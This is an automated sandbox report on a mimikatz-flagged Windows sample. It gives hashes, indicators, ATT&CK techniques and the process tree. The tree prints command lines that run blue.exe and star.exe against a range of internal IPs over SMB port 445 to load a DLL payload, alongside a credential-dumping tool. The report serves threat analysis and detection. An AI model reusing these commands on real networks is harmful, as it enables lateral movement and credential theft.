mimikatz | 6f69d97a8407fe9bab7cbb068386e7af2ff805d9509c0061c876a94d30a3f809

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
11/05/2024, 13:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe
Size 2.4MB
Sample240511-qqfd8scf24
SHA256 6f69d97a8407fe9bab7cbb068386e7af2ff805d9509c0061c876a94d30a3f809
MD5 34cdbbda5f7c02ca179a366232adbb96
SHA1 50d1dbff0f4cecbd8649ef54ad2084376795db5e
SHA512 1848e32235b8d203384bec815aee4c686136a2ad9f1adf97f64aa32b930925bf8ef0144379bda2f1a529e433f21c587d97658c8ebf451416aaa1a8cc0c46ff9a
SSDEEP 49152:5Xja8XCumXI9NdbYjXsSrDVmqlAUgSE9n0xe8zmHafCss:Ba8XoUkHllAUPEbaas
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

mimikatz discovery

Malware Config

Signatures

Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

mimikatz is an open source tool to dump credentials on Windows 14 IoCs

resource	yara_rule
behavioral2/memory/4352-33-0x0000000140000000-0x00000001400FB000-memory.dmp	mimikatz
behavioral2/memory/4352-34-0x0000000140000000-0x00000001400FB000-memory.dmp	mimikatz
behavioral2/memory/4352-35-0x0000000140000000-0x00000001400FB000-memory.dmp	mimikatz
behavioral2/memory/548-61-0x0000000000400000-0x0000000000B38000-memory.dmp	mimikatz
behavioral2/memory/548-74-0x0000000000400000-0x0000000000B38000-memory.dmp	mimikatz
behavioral2/memory/548-75-0x0000000000400000-0x0000000000B38000-memory.dmp	mimikatz
behavioral2/memory/548-102-0x0000000000400000-0x0000000000B38000-memory.dmp	mimikatz
behavioral2/memory/548-121-0x0000000000400000-0x0000000000B38000-memory.dmp	mimikatz
behavioral2/memory/548-129-0x0000000000400000-0x0000000000B38000-memory.dmp	mimikatz
behavioral2/memory/548-136-0x0000000000400000-0x0000000000B38000-memory.dmp	mimikatz
behavioral2/memory/548-144-0x0000000000400000-0x0000000000B38000-memory.dmp	mimikatz
behavioral2/memory/548-151-0x0000000000400000-0x0000000000B38000-memory.dmp	mimikatz
behavioral2/memory/548-157-0x0000000000400000-0x0000000000B38000-memory.dmp	mimikatz
behavioral2/memory/548-159-0x0000000000400000-0x0000000000B38000-memory.dmp	mimikatz

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe

Executes dropped EXE 28 IoCs

pid	Process
4352	mmkt.exe
2764	blue.exe
6972	blue.exe
8668	blue.exe
9752	blue.exe
10324	star.exe
12144	star.exe
12400	blue.exe
14828	star.exe
15228	blue.exe
17640	star.exe
18012	blue.exe
20404	star.exe
20540	blue.exe
22968	star.exe
23340	blue.exe
24616	star.exe
25800	blue.exe
28608	star.exe
15212	blue.exe
31096	star.exe
31480	blue.exe
33804	star.exe
34164	blue.exe
36612	star.exe
36904	blue.exe
39332	star.exe
39700	blue.exe

Loads dropped DLL 64 IoCs

pid	Process
2764	blue.exe
2764	blue.exe
2764	blue.exe
2764	blue.exe
2764	blue.exe
2764	blue.exe
2764	blue.exe
2764	blue.exe
2764	blue.exe
2764	blue.exe
2764	blue.exe
6972	blue.exe
6972	blue.exe
6972	blue.exe
6972	blue.exe
6972	blue.exe
6972	blue.exe
6972	blue.exe
6972	blue.exe
6972	blue.exe
6972	blue.exe
8668	blue.exe
8668	blue.exe
8668	blue.exe
8668	blue.exe
8668	blue.exe
8668	blue.exe
8668	blue.exe
8668	blue.exe
8668	blue.exe
8668	blue.exe
9752	blue.exe
9752	blue.exe
9752	blue.exe
9752	blue.exe
9752	blue.exe
9752	blue.exe
9752	blue.exe
9752	blue.exe
9752	blue.exe
9752	blue.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
10324	star.exe
12144	star.exe
12144	star.exe
12144	star.exe
12144	star.exe
12144	star.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4352	mmkt.exe
4352	mmkt.exe
4352	mmkt.exe
4352	mmkt.exe
4352	mmkt.exe
4352	mmkt.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4352	mmkt.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 548 wrote to memory of 4352	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	82
PID 548 wrote to memory of 4352	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	82
PID 548 wrote to memory of 4852	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	94
PID 548 wrote to memory of 4852	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	94
PID 548 wrote to memory of 4852	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	94
PID 4852 wrote to memory of 2764	4852	cmd.exe	96
PID 4852 wrote to memory of 2764	4852	cmd.exe	96
PID 4852 wrote to memory of 2764	4852	cmd.exe	96
PID 548 wrote to memory of 6900	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	100
PID 548 wrote to memory of 6900	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	100
PID 548 wrote to memory of 6900	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	100
PID 6900 wrote to memory of 6972	6900	cmd.exe	102
PID 6900 wrote to memory of 6972	6900	cmd.exe	102
PID 6900 wrote to memory of 6972	6900	cmd.exe	102
PID 548 wrote to memory of 8604	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	103
PID 548 wrote to memory of 8604	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	103
PID 548 wrote to memory of 8604	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	103
PID 8604 wrote to memory of 8668	8604	cmd.exe	105
PID 8604 wrote to memory of 8668	8604	cmd.exe	105
PID 8604 wrote to memory of 8668	8604	cmd.exe	105
PID 548 wrote to memory of 9676	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	106
PID 548 wrote to memory of 9676	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	106
PID 548 wrote to memory of 9676	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	106
PID 9676 wrote to memory of 9752	9676	cmd.exe	108
PID 9676 wrote to memory of 9752	9676	cmd.exe	108
PID 9676 wrote to memory of 9752	9676	cmd.exe	108
PID 8604 wrote to memory of 10324	8604	cmd.exe	110
PID 8604 wrote to memory of 10324	8604	cmd.exe	110
PID 8604 wrote to memory of 10324	8604	cmd.exe	110
PID 4852 wrote to memory of 12144	4852	cmd.exe	112
PID 4852 wrote to memory of 12144	4852	cmd.exe	112
PID 4852 wrote to memory of 12144	4852	cmd.exe	112
PID 548 wrote to memory of 12336	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	113
PID 548 wrote to memory of 12336	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	113
PID 548 wrote to memory of 12336	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	113
PID 12336 wrote to memory of 12400	12336	cmd.exe	115
PID 12336 wrote to memory of 12400	12336	cmd.exe	115
PID 12336 wrote to memory of 12400	12336	cmd.exe	115
PID 6900 wrote to memory of 14828	6900	cmd.exe	116
PID 6900 wrote to memory of 14828	6900	cmd.exe	116
PID 6900 wrote to memory of 14828	6900	cmd.exe	116
PID 548 wrote to memory of 15164	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	117
PID 548 wrote to memory of 15164	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	117
PID 548 wrote to memory of 15164	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	117
PID 15164 wrote to memory of 15228	15164	cmd.exe	119
PID 15164 wrote to memory of 15228	15164	cmd.exe	119
PID 15164 wrote to memory of 15228	15164	cmd.exe	119
PID 9676 wrote to memory of 17640	9676	cmd.exe	120
PID 9676 wrote to memory of 17640	9676	cmd.exe	120
PID 9676 wrote to memory of 17640	9676	cmd.exe	120
PID 548 wrote to memory of 17948	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	121
PID 548 wrote to memory of 17948	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	121
PID 548 wrote to memory of 17948	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	121
PID 17948 wrote to memory of 18012	17948	cmd.exe	123
PID 17948 wrote to memory of 18012	17948	cmd.exe	123
PID 17948 wrote to memory of 18012	17948	cmd.exe	123
PID 12336 wrote to memory of 20404	12336	cmd.exe	125
PID 12336 wrote to memory of 20404	12336	cmd.exe	125
PID 12336 wrote to memory of 20404	12336	cmd.exe	125
PID 548 wrote to memory of 864	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	126
PID 548 wrote to memory of 864	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	126
PID 548 wrote to memory of 864	548	34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe	126
PID 864 wrote to memory of 20540	864	cmd.exe	128
PID 864 wrote to memory of 20540	864	cmd.exe	128

C:\Users\Admin\AppData\Local\Temp\34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:548
- C:\Users\All Users\mmkt.exe
  "C:\Users\All Users\mmkt.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4352
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.0 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.0
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2764
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.0
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:12144
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.1 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6900
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.1
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:6972
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.1
    3⤵
    - Executes dropped EXE
    PID:14828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.1.125 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.1.125
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:8604
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.1.125
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:8668
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.1.125
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:10324
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.2 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.2
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:9676
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:9752
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.2
    3⤵
    - Executes dropped EXE
    PID:17640
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.3 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.3
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:12336
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.3
    3⤵
    - Executes dropped EXE
    PID:12400
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.3
    3⤵
    - Executes dropped EXE
    PID:20404
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.4 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.4
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:15164
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.4
    3⤵
    - Executes dropped EXE
    PID:15228
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.4
    3⤵
    - Executes dropped EXE
    PID:22968
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.5 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.5
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:17948
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.5
    3⤵
    - Executes dropped EXE
    PID:18012
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.5
    3⤵
    - Executes dropped EXE
    PID:24616
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.6 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.6
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.6
    3⤵
    - Executes dropped EXE
    PID:20540
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.6
    3⤵
    - Executes dropped EXE
    PID:28608
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.7 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.7
  2⤵
  PID:23272
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.7
    3⤵
    - Executes dropped EXE
    PID:23340
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.7
    3⤵
    - Executes dropped EXE
    PID:31096
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.8 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.8
  2⤵
  PID:25736
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.8
    3⤵
    - Executes dropped EXE
    PID:25800
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.8
    3⤵
    - Executes dropped EXE
    PID:33804
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.9 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.9
  2⤵
  PID:20568
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.9
    3⤵
    - Executes dropped EXE
    PID:15212
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.9
    3⤵
    - Executes dropped EXE
    PID:36612
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.10 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.10
  2⤵
  PID:31416
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.10
    3⤵
    - Executes dropped EXE
    PID:31480
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.10
    3⤵
    - Executes dropped EXE
    PID:39332
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.11 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.11
  2⤵
  PID:34100
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.11
    3⤵
    - Executes dropped EXE
    PID:34164
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.12 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.12
  2⤵
  PID:4928
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.12
    3⤵
    - Executes dropped EXE
    PID:36904
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.13 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.13
  2⤵
  PID:39628
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.0.13
    3⤵
    - Executes dropped EXE
    PID:39700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

blue.exe

Path C:\ProgramData\blue.exe
Size 126KB
SHA256 85b936960fbe5100c170b777e1647ce9f0f01e3ab9742dfc23f37cb0825b30b5
MD5 8c80dd97c37525927c1e549cb59bcbf3
SHA1 4e80fa7d98c8e87facecdef0fc7de0d957d809e1
SHA512 50e9a3b950bbd56ff9654f9c2758721b181e7891384fb37e4836cf78422399a07e6b0bfab16350e35eb2a13c4d07b5ce8d4192fd864fb9aaa9602c7978d2d35e
SSDEEP 1536:YEI4kX/3TWbMPqc+4GJky+IBgXDfsggZK4WBc+FtDc+AX4VHKpdhxm/wl6uv/+Ws:ITiMPqiruJB+rrAX4edbmruvmkI79
MD5 SHA1 SHA512 SSDEEP

Submit Download

blue.xml

Path C:\ProgramData\blue.xml
Size 7KB
SHA256 ea7caa08e115dbb438e29da46b47f54c62c29697617bae44464a9b63d9bddf18
MD5 f56025565de4f53f5771d4966c2b5555
SHA1 b22162a38cdd4b85254b6c909a9e5210711d77af
SHA512 1cbb2f9f750faf009b9cc5831205db3aa2271fcc3cb37c126a8ef093a039bde8ad699e6a9f7dbb1ce91ab9e90ac5c14d0ad2d97cca21ee7ab4c1cc6b6832e3b2
SSDEEP 192:O56qWdem0F0H6/OrYO/ysg7mBMCv7GHrCucPFTU:O5CdZ0F6Le
MD5 SHA1 SHA512 SSDEEP

Submit Download

coli-0.dll

Path C:\ProgramData\coli-0.dll
Size 15KB
SHA256 0439628816cabe113315751e7113a9e9f720d7e499ffdd78acbac1ed8ba35887
MD5 3c2fe2dbdf09cfa869344fdb53307cb2
SHA1 b67a8475e6076a24066b7cb6b36d307244bb741f
SHA512 d6b819643108446b1739cbcb8d5c87e05875d7c1989d03975575c7d808f715ddcce94480860828210970cec8b775c14ee955f99bd6e16f9a32b1d5dafd82dc8c
SSDEEP 192:c1VDVzDJuoJ/a8yRIB4Al4rKoRbFjGgGz3bG8sEwdCs8Ej2uHR0EhBkM2NFU+z4o:c1VxsoNKI++u1qz3K8BwxCO103z4VL2
MD5 SHA1 SHA512 SSDEEP

Submit Download

mmkt.exe

Path C:\ProgramData\mmkt.exe
Size 1.3MB
SHA256 8fd09186e5d2e2bce989f94b9a1ee4654382d396ca2e2680edacdcf8e21a4385
MD5 45184aaea2f47f6a569043f834690581
SHA1 09320ff533c6612e548ac7452d71c39f3ad13f16
SHA512 40dd31db4d73c248116ae7abc92195de2f0b5e7eed78f3bb418ba7dcf197f13a364f26f05fdaaa42cf89ea28cca606b1d33cf11a5d4f01c4dea931ebfcb4cbd2
SSDEEP 24576:VboN6OG0sib8XistBftVHw6A/BE/ISfbI8I10VjRxmf:NmDsigw6DfE8ISjR
MD5 SHA1 SHA512 SSDEEP

Submit Download

star.exe

Path C:\ProgramData\star.exe
Size 44KB
SHA256 15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13
MD5 c24315b0585b852110977dacafe6c8c1
SHA1 be855cd1bfc1e1446a3390c693f29e2a3007c04e
SHA512 81032d741767e868ec9d01e827b1c974b7c040ff832907d0a2c4bdc08301189b1de3338225587eddf81a829103392f454ba9d9685330b5f6706ea2977a6418e2
SSDEEP 768:Zfsz7cLr4VwePeXUTQq+BNV1WzV64aHo2Ej4rrIrL/SBfjyC:ZyJwFmB+jVTEkrmL/eT
MD5 SHA1 SHA512 SSDEEP

Submit Download

tibe-2.dll

Path C:\ProgramData\tibe-2.dll
Size 232KB
SHA256 ca63dbb99d9da431bf23aca80dc787df67bb01104fb9358a7813ed2fce479362
MD5 f0881d5a7f75389deba3eff3f4df09ac
SHA1 8404f2776fa8f7f8eaffb7a1859c19b0817b147a
SHA512 f266baecae0840c365fe537289a8bf05323d048ef3451ebffbe75129719c1856022b4bddd225b85b6661bbe4b2c7ac336aa9efdeb26a91a0be08c66a9e3fe97e
SSDEEP 3072:GQng3MAngh6CNXfdUrYSaocn484kQL93ZnV6Bbf5+1qo3/mlch9VQ816oPYQ3:GwkQf4q481Qx3hV6Bbf5+1qbch9V91J
MD5 SHA1 SHA512 SSDEEP

Submit Download

ucl.dll

Path C:\ProgramData\ucl.dll
Size 57KB
SHA256 f0df80978b3a563077def7ba919e2f49e5883d24176e6b3371a8eef1efe2b06a
MD5 6b7276e4aa7a1e50735d2f6923b40de4
SHA1 db8603ac6cac7eb3690f67af7b8d081aa9ce3075
SHA512 58e65ce3a5bcb65f056856cfda06462d3fbce4d625a76526107977fd7a44d93cfc16de5f9952b8fcff7049a7556b0d35de0aa02de736f0daeec1e41d02a20daa
SSDEEP 1536:ncZeBwroDJXSoY9/8qqG9aCapIu2GfUFd0:ZWrSJCoyUlG9sg0
MD5 SHA1 SHA512 SSDEEP

Submit Download

exma-1.dll

Path C:\Users\ALLUSE~1\exma-1.dll
Size 10KB
SHA256 15292172a83f2e7f07114693ab92753ed32311dfba7d54fe36cc7229136874d9
MD5 ba629216db6cf7c0c720054b0c9a13f3
SHA1 37bb800b2bb812d4430e2510f14b5b717099abaa
SHA512 c4f116701798f210d347726680419fd85880a8dc12bf78075be6b655f056a17e0a940b28bbc9a5a78fac99e3bb99003240948ed878d75b848854d1f9e5768ec9
SSDEEP 192:+ouDzncwrjGQmzZbO8sEk3jMkx6VuxLj4l5JVIb/A:+xDz1azZa8Bkz5xDxH4xmk
MD5 SHA1 SHA512 SSDEEP

Submit Download

libxml2.dll

Path C:\Users\ALLUSE~1\libxml2.dll
Size 807KB
SHA256 aceb27720115a63b9d47e737fd878a61c52435ea4ec86ba8e58ee744bc85c4f3
MD5 9a5cec05e9c158cbc51cdc972693363d
SHA1 ca4d1bb44c64a85871944f3913ca6ccddfa2dc04
SHA512 8af997c3095d728fe95eeedfec23b5d4a9f2ea0a8945f8c136cda3128c17acb0a6e45345637cf1d7a5836aaa83641016c50dbb59461a5a3fb7b302c2c60dfc94
SSDEEP 12288:OhdWYPkG1r0VtrTMhsGCQcdGfGwKaNAu5uld+tirrmrx+448+:4lPpr0PsBCfYfGg6t3rm
MD5 SHA1 SHA512 SSDEEP

Submit Download

posh-0.dll

Path C:\Users\ALLUSE~1\posh-0.dll
Size 11KB
SHA256 cde45f7ff05f52b7215e4b0ea1f2f42ad9b42031e16a3be9772aa09e014bacdb
MD5 2f0a52ce4f445c6e656ecebbcaceade5
SHA1 35493e06b0b2cdab2211c0fc02286f45d5e2606d
SHA512 88151ce5c89c96c4bb086d188f044fa2d66d64d0811e622f35dceaadfa2c7c7c084dd8afb5f774e8ad93ca2475cc3cba60ba36818b5cfb4a472fc9ceef1b9da1
SSDEEP 192:BNn+r+YB4cdCjWXGyby8Eaw5Xs+dNjnGy6W4l5t1Ib/X:BdW+k4z3yu8rwy+dNjnGlW40
MD5 SHA1 SHA512 SSDEEP

Submit Download

trch-1.dll

Path C:\Users\ALLUSE~1\trch-1.dll
Size 58KB
SHA256 0259d41720f7084716a3b2bbe34ac6d3021224420f81a4e839b0b3401e5ef29f
MD5 838ceb02081ac27de43da56bec20fc76
SHA1 972ab587cdb63c8263eb977f10977fd7d27ecf7b
SHA512 bcca9e1e2f84929bf513f26cc2a7dc91f066e775ef1d34b0fb00a54c8521de55ef8c81f796c7970d5237cdeab4572dedfd2b138d21183cb19d2225bdb0362a22
SSDEEP 768:9fo4XJn+xrNRFydS3allJVAI5az6oL5BsterNpGEi1Yt4KH8va:9DurNRFoS38lJD+B4te5pGjY+da
MD5 SHA1 SHA512 SSDEEP

Submit Download

trfo-2.dll

Path C:\Users\ALLUSE~1\trfo-2.dll
Size 29KB
SHA256 b2a3172a1d676f00a62df376d8da805714553bb3221a8426f9823a8a5887daaa
MD5 3e89c56056e5525bf4d9e52b28fbbca7
SHA1 08f93ab25190a44c4e29bee5e8aacecc90dab80c
SHA512 32487c6bca48a989d48fa7b362381fadd0209fdcc8e837f2008f16c4b52ab4830942b2e0aa1fb18dbec7fce189bb9a6d40f362a6c2b4f44649bd98557ecddbb6
SSDEEP 768:NluruFqeE4KRu8B/4VHNaEoPw6HtFhCC48qkfg:Nlu0EDRTl4VHkw6NLA8
MD5 SHA1 SHA512 SSDEEP

Submit Download

tucl-1.dll

Path C:\Users\ALLUSE~1\tucl-1.dll
Size 9KB
SHA256 cf25bdc6711a72713d80a4a860df724a79042be210930dcbfc522da72b39bb12
MD5 83076104ae977d850d1e015704e5730a
SHA1 776e7079734bc4817e3af0049f42524404a55310
SHA512 bd1e6c99308c128a07fbb0c05e3a09dbcf4cec91326148439210077d09992ebf25403f6656a49d79ad2151c2e61e6532108fed12727c41103df3d7a2b1ba82f8
